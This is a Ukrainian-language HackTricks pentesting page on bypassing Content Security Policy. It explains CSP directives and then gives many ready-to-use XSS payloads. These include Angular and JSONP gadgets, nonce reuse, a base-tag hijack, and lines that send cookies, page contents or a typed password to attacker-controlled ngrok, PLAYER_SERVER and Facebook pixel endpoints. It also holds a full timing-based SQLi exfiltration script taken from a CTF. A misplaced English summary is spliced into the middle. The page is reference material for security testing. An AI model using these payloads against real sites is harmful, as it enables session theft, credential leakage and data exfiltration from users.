hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-07-19 10:20:13 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
README.md GitBook: No commit message 2024-04-06 19:41:21 +00:00

Content Security Policy (CSP) Bypass

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про хакінг у реальному часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні оголошення
Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Що таке CSP

Політика безпеки контенту (CSP) визнана як технологія браузера, спрямована в основному на захист від атак, таких як міжсайтовий скриптінг (XSS). Вона працює шляхом визначення та деталізації шляхів та джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різноманітні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як eval, setTimeout або setInterval.

Реалізація CSP здійснюється за допомогою відповідних заголовків або шляхом включення мета-елементів у HTML-сторінку. Відповідно до цієї політики, браузери активно застосовують ці умови та негайно блокують будь-які виявлені порушення.

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Реалізовано через мета-тег:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Заголовки

CSP може бути виконаний або контрольований за допомогою цих заголовків:

  • Content-Security-Policy: Застосовує CSP; браузер блокує будь-які порушення.
  • Content-Security-Policy-Report-Only: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском в експлуатацію.

Визначення Ресурсів

CSP обмежує походження завантаження як активного, так і пасивного контенту, контролюючи аспекти, такі як виконання вбудованого JavaScript та використання eval(). Приклад політики:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Директиви

  • script-src: Дозволяє конкретні джерела для JavaScript, включаючи URL-адреси, вбудовані скрипти, та скрипти, викликані обробниками подій або таблицями стилів XSLT.
  • default-src: Встановлює типову політику для отримання ресурсів, коли відсутні конкретні директиви отримання.
  • child-src: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
  • connect-src: Обмежує URL-адреси, які можна завантажити за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
  • frame-src: Обмежує URL-адреси для фреймів.
  • frame-ancestors: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як <frame>, <iframe>, <object>, <embed>, та <applet>.
  • img-src: Визначає дозволені джерела для зображень.
  • font-src: Вказує дійсні джерела для шрифтів, завантажених за допомогою @font-face.
  • manifest-src: Визначає дозволені джерела файлів маніфесту програми.
  • media-src: Визначає дозволені джерела для завантаження медіа-об'єктів.
  • object-src: Визначає дозволені джерела для елементів <object>, <embed>, та <applet>.
  • base-uri: Вказує дозволені URL-адреси для завантаження за допомогою елементів <base>.
  • form-action: Перераховує дійсні кінцеві точки для відправки форм.
  • plugin-types: Обмежує типи mime, які сторінка може викликати.
  • upgrade-insecure-requests: Наказує браузерам переписувати HTTP-URL-адреси на HTTPS.
  • sandbox: Застосовує обмеження, схожі на атрибут sandbox <iframe>.
  • report-to: Вказує групу, якій буде відправлено звіт, якщо політика порушена.
  • worker-src: Вказує дійсні джерела для скриптів Worker, SharedWorker або ServiceWorker.
  • prefetch-src: Вказує дійсні джерела для ресурсів, які будуть завантажені або попередньо завантажені.
  • navigate-to: Обмежує URL-адреси, на які документ може переходити будь-якими засобами (a, form, window.location, window.open, тощо).

Джерела

  • *: Дозволяє всі URL-адреси, за винятком тих, що мають схеми data:, blob:, filesystem:.
  • 'self': Дозволяє завантаження з того ж домену.
  • 'data': Дозволяє завантаження ресурсів через схему даних (наприклад, зображення, закодовані Base64).
  • 'none': Блокує завантаження з будь-якого джерела.
  • 'unsafe-eval': Дозволяє використання eval() та подібних методів, не рекомендується з погляду безпеки.
  • 'unsafe-hashes': Увімкнює конкретні вбудовані обробники подій.
  • 'unsafe-inline': Дозволяє використання вбудованих ресурсів, таких як вбудований <script> або <style>, не рекомендується з погляду безпеки.
  • 'nonce': Білий список для конкретних вбудованих скриптів за допомогою криптографічного nonce (число, яке використовується один раз).
  • Якщо у вас обмежене виконання JS, можливо отримати використаний nonce на сторінці за допомогою doc.defaultView.top.document.querySelector("[nonce]") та потім використовувати його для завантаження зловмисного скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажувати нові джерела, тому це не потрібно), як у:
Завантажити скрипт, використовуючи nonce повторно

```html ```

  • 'sha256-<hash>': Білістує скрипти з конкретним хешем sha256.
  • 'strict-dynamic': Дозволяє завантажувати скрипти з будь-якого джерела, якщо вони були додані до білого списку за допомогою nonce або хеша.
  • 'host': Вказує конкретний хост, наприклад, example.com.
  • https:: Обмежує URL-адреси тільки тими, які використовують HTTPS.
  • blob:: Дозволяє завантажувати ресурси з URL-адрес Blob (наприклад, URL-адреси Blob, створені за допомогою JavaScript).
  • filesystem:: Дозволяє завантажувати ресурси з файлової системи.
  • 'report-sample': Включає зразок порушеного коду в звіті про порушення (корисно для налагодження).
  • 'strict-origin': Схожий на 'self', але забезпечує відповідність рівня безпеки протоколу джерел документу (ресурси з безпечних джерел можуть завантажувати ресурси з безпечних джерел).
  • 'strict-origin-when-cross-origin': Надсилає повні URL-адреси при здійсненні запитів з однаковим походженням, але надсилає лише походження, коли запит є міждоменним.
  • 'unsafe-allow-redirects': Дозволяє завантажувати ресурси, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це підточує безпеку.

Небезпечні правила CSP

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Робочий вплив: "/><script>alert(1);</script>

self + 'unsafe-inline' через Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Робочий вміст:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Якщо ви якось зможете зробити дозволений JS-код створив новий тег скрипта в DOM за допомогою вашого JS-коду, тому що дозволений скрипт створює його, новий тег скрипта буде дозволено виконувати.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Робочий вектор:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Відсутність object-src та default-src

{% hint style="danger" %} Здається, це вже не працює {% endhint %}

Content-Security-Policy: script-src 'self' ;

Робочі навантаження:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Завантаження файлів + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:

Робочий впровадження:

"/>'><script src="/uploads/picture.png.js"></script>

Однак, висока ймовірність того, що сервер перевіряє завантажений файл і дозволить завантажити лише визначений тип файлів.

Більше того, навіть якщо ви зможете завантажити JS-код всередину файлу, використовуючи розширення, яке приймається сервером (наприклад: script.png), цього буде недостатньо, оскільки деякі сервери, наприклад, сервер apache, вибирають MIME-тип файлу на основі розширення, а браузери, такі як Chrome, відмовляться виконувати код Javascript всередині чогось, що повинно бути зображенням. "На щастя", тут є помилки. Наприклад, з CTF я дізнався, що Apache не розпізнає розширення .wave, тому не надає йому MIME-тип, подібний до audio/*.

Отже, якщо ви знайдете XSS та можливість завантаження файлу, і вам вдасться знайти неправильне розширення, ви можете спробувати завантажити файл з цим розширенням та вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот (декілька прикладів поліглотів тут).

Дія форми

Якщо неможливо впровадити JS, ви все ще можете спробувати витягти, наприклад, облікові дані, впроваджуючи дію форми (і можливо очікувати, що менеджери паролів автоматично заповнять паролі). Ви можете знайти приклад у цьому звіті. Також зверніть увагу, що default-src не охоплює дії форми.

Експорт до сторонніх кінцевих точок + ('unsafe-eval')

{% hint style="warning" %} Для деяких з наступних навантажень unsafe-eval навіть не потрібно. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Завантажте вразливу версію angular та виконайте довільний JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Пейлоади, використовуючи Angular + бібліотеку з функціями, які повертають об'єкт window (перегляньте цей пост):

{% hint style="info" %} У пості показано, що ви можете завантажити всі бібліотеки з cdn.cloudflare.com (або будь-якого іншого дозволеного репозиторію JS-бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити, які функції з яких бібліотек повертають об'єкт window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS з назви класу:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Зловживання кодом google recaptcha JS

Згідно з цим CTF writeup, ви можете зловживати https://www.google.com/recaptcha/ всередині CSP для виконання довільного JS-коду, обхід CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Більше пейлоадів з цього опису:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Зловживання www.google.com для відкритого перенаправлення

Наступна URL-адреса перенаправляє на example.com (з тут):

https://www.google.com/amp/s/example.com/

Зловживання *.google.com/script.google.com

Можливо використовувати Google Apps Script для отримання інформації на сторінці всередині script.google.com. Як це зроблено в цьому звіті.

Сторонні кінцеві точки + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Сценарії, де script-src встановлено на self та певний домен, який додається до білого списку, можна обійти за допомогою JSONP. Кінцеві точки JSONP дозволяють небезпечні методи зворотного виклику, що дозволяють зловмиснику виконати XSS, робочий пейлоад:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee містить готові до використання JSONP-точки доступу для обхіду CSP на різних веб-сайтах.

Та ж сама уразливість виникне, якщо довірча точка доступу містить відкритий перенаправлення, оскільки, якщо початкова точка доступу є довіреною, перенаправлення є довіреним.

Зловживання третіми сторонами

Як описано в цьому пості, існує багато доменів третіх сторін, які можуть бути дозволені десь у CSP, і можуть бути використані для витоку даних або виконання JavaScript-коду. Деякі з цих сторонніх служб:

Сутність Дозволений домен Можливості
Facebook www.facebook.com, *.facebook.com Витік
Hotjar *.hotjar.com, ask.hotjar.io Витік
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Виконання
Amazon CloudFront *.cloudfront.net Витік, Виконання
Amazon AWS *.amazonaws.com Витік, Виконання
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Витік, Виконання
Salesforce Heroku *.herokuapp.com Витік, Виконання
Google Firebase *.firebaseapp.com Витік, Виконання

Якщо ви знаходите будь-які з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на службі третьої сторони і, або витікати дані на цю службу, або виконувати код.

Наприклад, якщо ви знаходите наступний CSP:

Content-Security-Policy: default-src 'self www.facebook.com;

CSP Bypass

Introduction

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or bypasses in CSP can lead to security vulnerabilities.

Bypass Techniques

  1. Inline Scripts: By using inline event handlers or script tags, attackers can execute arbitrary code even if CSP is in place.
  2. Unsafe Inline: CSP directives like unsafe-inline allow the execution of inline scripts, which can be exploited by attackers.
  3. Data Protocol: Attackers can use the data: protocol to embed scripts within HTML attributes, bypassing CSP restrictions.
  4. Nonce Bypass: If a website uses nonces for script-src, attackers can bypass CSP by injecting scripts with a valid nonce.
  5. Self Bypass: By allowing 'self' as a valid source, attackers can host malicious scripts on the same domain to bypass CSP.
  6. Whitelist Bypass: Attackers can exploit misconfigured whitelists to load scripts from unauthorized sources.

Conclusion

Understanding common CSP bypass techniques is crucial for security professionals to effectively secure web applications against potential attacks. Regularly testing and updating CSP configurations can help prevent security vulnerabilities.

Content-Security-Policy: connect-src www.facebook.com;

Маєте можливість витягти дані, так само, як це завжди робилося з Google Analytics/Google Tag Manager. У цьому випадку ви виконуєте такі загальні кроки:

  1. Створіть обліковий запис розробника Facebook тут.
  2. Створіть новий додаток "Facebook Login" та виберіть "Веб-сайт".
  3. Перейдіть до "Налаштування -> Основне" та отримайте свій "Ідентифікатор додатка".
  4. На цільовому сайті, з якого ви хочете витягти дані, ви можете витягти дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" та дані вантажу.
  5. Перейдіть до "Менеджер подій" вашого додатка та виберіть створений вами додаток (зверніть увагу, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Виберіть вкладку "Тестові події", щоб побачити події, які надсилаються вашим веб-сайтом.

Потім, на стороні жертви, ви виконуєте наступний код для ініціалізації пікселя відстеження Facebook, щоб вказати на додаток облікового запису розробника Facebook атакуючого та виконати власну подію, подібну до цієї:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Щодо інших семи сторонніх доменів, вказаних у попередній таблиці, існує багато інших способів їх зловживання. Дивіться попередній пост блогу для додаткових пояснень про інші зловживання сторонніми доменами.

Обхід через RPO (Relative Path Overwrite)

Крім зазначеного вище перенаправлення для обходу обмежень шляху, існує ще одна техніка, яка називається Relative Path Overwrite (RPO) і може бути використана на деяких серверах.

Наприклад, якщо CSP дозволяє шлях https://example.com/scripts/react/, його можна обійти наступним чином:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Браузер в кінцевому рахунку завантажить https://example.com/scripts/angular/angular.js.

Це працює, оскільки для браузера ви завантажуєте файл з назвою ..%2fangular%2fangular.js, розташований під https://example.com/scripts/react/, що відповідає політиці CSP.

Отже, вони розкодують це, ефективно запитуючи https://example.com/scripts/react/../angular/angular.js, що еквівалентно https://example.com/scripts/angular/angular.js.

Використовуючи цю неузгодженість у тлумаченні URL між браузером та сервером, можна обійти правила шляху.

Рішення полягає в тому, щоб не трактувати %2f як / на стороні сервера, забезпечуючи послідовне тлумачення між браузером та сервером для уникнення цієї проблеми.

Онлайн-приклад:https://jsbin.com/werevijewa/edit?html,output

Виконання JS у фреймах

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

відсутність base-uri

Якщо директива base-uri відсутня, ви можете використовувати її для виконання висячого впровадження розмітки.

Більше того, якщо сторінка завантажує скрипт, використовуючи відносний шлях (наприклад, <script src="/js/app.js">) за допомогою Nonce, ви можете використати тег base для того, щоб завантажити скрипт з вашого власного сервера, досягнувши XSS.
Якщо уразлива сторінка завантажена з httpS, використовуйте URL-адресу httpS у базі.

<base href="https://www.attacker.com/">

Події AngularJS

Конкретна політика, відома як політика безпеки контенту (CSP), може обмежувати події JavaScript. Тем не менш, AngularJS вводить власні події як альтернативу. У межах події AngularJS надає унікальний об'єкт $event, який посилається на об'єкт події браузера. Цей об'єкт $event можна використовувати для обхіду CSP. Зокрема, в Chrome об'єкт $event/event має атрибут path, який містить масив об'єктів, що відображають ланцюг виконання події, з об'єктом window завжди розташованим в кінці. Ця структура є ключовою для тактик виходу з пісочниці.

Направляючи цей масив на фільтр orderBy, можна ітерувати його, використовуючи кінцевий елемент (об'єкт window), щоб викликати глобальну функцію, наприклад, alert(). Наведений нижче фрагмент коду демонструє цей процес:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Цей уривок підкреслює використання директиви ng-focus для спрацювання події, використання $event.path|orderBy для маніпулювання масивом path та використання об'єкта window для виклику функції alert(), що призводить до викриття document.cookie.

Знайдіть інші обхідні шляхи Angular за посиланням https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS та домен з білим списком

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Політика CSP, яка дозволяє використання доменів для завантаження скриптів у додатку Angular JS, може бути обійдена за допомогою виклику функцій зворотнього виклику та певних вразливих класів. Додаткову інформацію про цей метод можна знайти у детальному посібнику, доступному на цьому сховищі git.

Робочі навантаження:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Інші JSONP точки виконання можна знайти тут (дехто з них були видалені або виправлені)

Обхід через перенаправлення

Що відбувається, коли CSP зіткнується з перенаправленням на сервері? Якщо перенаправлення призводить до іншого походження, яке не дозволено, воно все одно не вдасться.

Однак, згідно з описом у CSP spec 4.2.2.3. Paths and Redirects, якщо перенаправлення призводить до іншого шляху, воно може обійти початкові обмеження.

Ось приклад:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Якщо CSP встановлено на https://www.google.com/a/b/c/d, оскільки враховується шлях, обидва скрипти /test та /a/test будуть заблоковані CSP.

Однак кінцевий http://localhost:5555/301 буде перенаправлений на сервері на https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Оскільки це перенаправлення, шлях не враховується, і скрипт може бути завантажений, обхід обмеження шляху.

З цим перенаправленням, навіть якщо шлях вказаний повністю, він все одно буде обхід.

Отже, найкращим рішенням є переконатися, що на веб-сайті відсутні вразливості відкритого перенаправлення та що в правилах CSP немає доменів, які можна використовувати для атак.

Обхід CSP за допомогою висячого розмітки

Прочитайте тут.

'unsafe-inline'; img-src *; через XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' означає, що ви можете виконати будь-який скрипт всередині коду (XSS може виконати код), а img-src * означає, що ви можете використовувати на веб-сторінці будь-яке зображення з будь-якого ресурсу.

Ви можете обійти цей CSP, ексфільтруючи дані через зображення (у цьому випадку XSS зловживає CSRF, де сторінка, доступна боту, містить SQLi, і витягує прапорець через зображення):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

За допомогою цієї конфігурації також можна зловживати, щоб завантажити вставлений код JavaScript всередині зображення. Наприклад, якщо сторінка дозволяє завантажувати зображення з Twitter. Ви можете створити спеціальне зображення, завантажити його на Twitter і використати "unsafe-inline" для виконання коду JS (як звичайний XSS), який завантажить зображення, витягне з нього JS і виконає його: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

За допомогою службових робітників

Функція importScripts службових робітників не обмежується CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Впровадження політики

Дослідження: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Якщо параметр, відправлений вами, вставляється всередину оголошення політики, то ви можете змінити політику таким чином, що вона стане некорисною. Ви можете дозволити виконання скриптів 'unsafe-inline' за допомогою будь-якого з цих обхідних шляхів:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Оскільки ця директива перезапише існуючі директиви script-src.
Ви можете знайти приклад тут: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

У Edge все набагато простіше. Якщо ви можете додати в CSP лише це: ;_ Edge відкине весь політику.
Приклад: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; через XSS (iframe) - Атака часом

Зверніть увагу на відсутність директиви 'unsafe-inline'
Цього разу ви можете змусити жертву завантажити сторінку під вашим контролем через XSS з допомогою <iframe. Цього разу ви змусите жертву отримати доступ до сторінки, звідки ви хочете витягнути інформацію (CSRF). Ви не можете отримати доступ до вмісту сторінки, але якщо ви якось зможете контролювати час, який потрібно для завантаження сторінки, ви зможете витягнути необхідну інформацію.

Цього разу прапорець буде витягнутий, коли буде правильно вгадано символ через SQLi, відповідь займе більше часу через функцію затримки. Потім ви зможете витягнути прапорець:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Через закладинки

Цей атака передбачає деякий соціальний інженерінг, де зловмисник переконує користувача перетягнути посилання на закладку браузера. Ця закладка міститиме зловісний javascript код, який при перетягуванні або кліку буде виконаний в контексті поточного веб-вікна, обхід CSP та дозволить вкрасти чутливу інформацію таку як файли cookie або токени.

Для отримання додаткової інформації перевірте оригінальний звіт тут.

Обхід CSP шляхом обмеження CSP

У цьому описі CTF, CSP обходиться шляхом впровадження в дозволену iframe більш обмеженого CSP, який забороняв завантаження певного JS файлу, який потім, через забруднення прототипу або забруднення DOM, дозволяв зловживати іншим скриптом для завантаження довільного скрипту.

Ви можете обмежити CSP Iframe за допомогою атрибуту csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

У цьому звіті CTF, було можливо за допомогою впровадження HTML обмежити більше CSP, щоб сценарій, який запобігає CSTI, був вимкнений, і, отже, вразливість стала вразливою для використання.
CSP можна зробити більш обмеженим за допомогою мета-тегів HTML, а вбудовані сценарії можна вимкнути, видаливши запис, що дозволяє їх nonce та увімкнути конкретний вбудований сценарій через sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS ексфільтрація за допомогою Content-Security-Policy-Report-Only

Якщо ви зможете зробити так, щоб сервер відповів з заголовком Content-Security-Policy-Report-Only з значенням, котре контролюється вами (можливо, через CRLF), ви зможете зробити його вказувати на ваш сервер, і якщо ви обгорнете JS вміст, який ви хочете ексфільтрувати з <script>, і оскільки ймовірно unsafe-inline не дозволяється CSP, це спричинить помилку CSP, і частина скрипта (що містить чутливу інформацію) буде відправлена на сервер з Content-Security-Policy-Report-Only.

Для прикладу перегляньте цей CTF writeup.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Витік інформації за допомогою CSP та Iframe

  • Створюється iframe, який вказує на URL (назвемо його https://example.redirect.com), який дозволений CSP.
  • Цей URL потім перенаправляється на секретний URL (наприклад, https://usersecret.example2.com), який не дозволений CSP.
  • Слухаючи подію securitypolicyviolation, можна захопити властивість blockedURI. Ця властивість розкриває домен заблокованого URI, витікаючи секретний домен, на який спочатку було перенаправлено.

Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різні поведінки у відношенні до обробки iframes у контексті CSP, що може призвести до потенційного витоку чутливої інформації через невизначене поведінку.

Ще одним методом є використання самого CSP для виведення секретного піддомену. Цей метод ґрунтується на алгоритмі бінарного пошуку та налаштуванні CSP для включення конкретних доменів, які намірено блокуються. Наприклад, якщо секретний піддомен складається з невідомих символів, можна ітеративно перевіряти різні піддомени, змінюючи директиву CSP для блокування або дозволу цих піддоменів. Ось уривок коду, який показує, як може бути налаштований CSP для полегшення цього методу:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Через моніторинг запитів, які блокуються або дозволяються CSP, можна скоротити можливі символи в секретному піддомені, в результаті розкриваючи повний URL.

Обидва методи використовують нюанси реалізації та поведінки CSP в браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.

Хит від тут.

Приєднуйтесь до сервера HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення
Будьте в курсі найновіших запусків баг-баунті та важливих оновлень платформи

